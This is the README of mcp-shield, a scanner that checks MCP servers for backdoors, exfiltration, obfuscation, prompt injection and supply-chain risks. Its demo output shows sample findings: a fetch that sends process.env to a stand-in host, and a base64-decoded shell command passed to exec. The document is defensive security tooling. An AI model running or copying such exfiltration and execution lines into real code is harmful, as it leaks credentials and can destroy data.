mcp-shield
mcp-shield
Сканер безопасности для MCP-серверов — обнаруживайте бэкдоры, эксфильтрацию данных, инъекции промптов и риски цепочки поставок до того, как они достигнут вашего ИИ.
Экосистема MCP быстро растет. Не каждый сервер в npm безопасен. mcp-shield позволяет Claude проверять любой MCP-сервер — локальный или из npm — прежде чем вы доверите ему свои файлы, ключи и контекст.
Что он обнаруживает
Категория | Примеры |
Эксфильтрация |
|
Выполнение кода |
|
Обфускация | Декодирование Base64 во время выполнения, hex-кодированные полезные нагрузки, массивы char-code |
Доступ к конфиденциальным файлам |
|
Инъекция промптов | Скрытые инструкции, символы нулевой ширины, атаки со сменой ролей, паттерны джейлбрейка |
Цепочка поставок | Возраст пакета, количество скачиваний, количество сопровождающих, CVE в зависимостях |
Демо
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)Инструменты
Инструмент | Что он делает |
| Скачивает npm MCP-пакет и сканирует его на наличие вредоносных паттернов |
| Сканирует локальную директорию MCP-сервера (клонированную из GitHub и т.д.) |
| Проверяет описания инструментов или ответы на наличие скрытых инъекций |
| Получает оценку доверия, CVE, количество сопровождающих и возраст для любого npm-пакета |
Установка
Вариант 1 — npx (без установки)
claude mcp add mcp-shield -- npx mcp-shieldВариант 2 — глобальная установка
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shieldВариант 3 — ручная настройка
Добавьте в ~/.claude/claude_mcp_config.json:
{
"mcpServers": {
"mcp-shield": {
"command": "npx",
"args": ["mcp-shield"]
}
}
}Примеры использования
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"Как это работает
Статический анализ — сканирует исходные файлы JavaScript/TypeScript с помощью библиотеки регулярных выражений, охватывающей более 20 сигнатур атак в 5 категориях.
Аудит цепочки поставок — запрашивает метаданные пакета в реестре npm, а затем запускает npm audit для выявления известных CVE в дереве зависимостей.
Обнаружение инъекций промптов — проверяет описания инструментов и ответы на наличие символов нулевой ширины, переопределений инструкций, атак со сменой ролей и других методов, нацеленных на LLM.
Установка --ignore-scripts — при сканировании npm-пакетов установка выполняется с флагом --ignore-scripts, чтобы во время анализа не запускались вредоносные postinstall-хуки.
Участие в разработке
PR приветствуются. Паттерны обнаружения находятся в src/patterns.ts — добавление новых сигнатур сводится к добавлению одного объекта.
git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run devЛицензия
MIT
Latest Blog Posts
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/muhannad-hash/mcp-shield'
If you have feedback or need assistance with the MCP directory API, please join our Discord server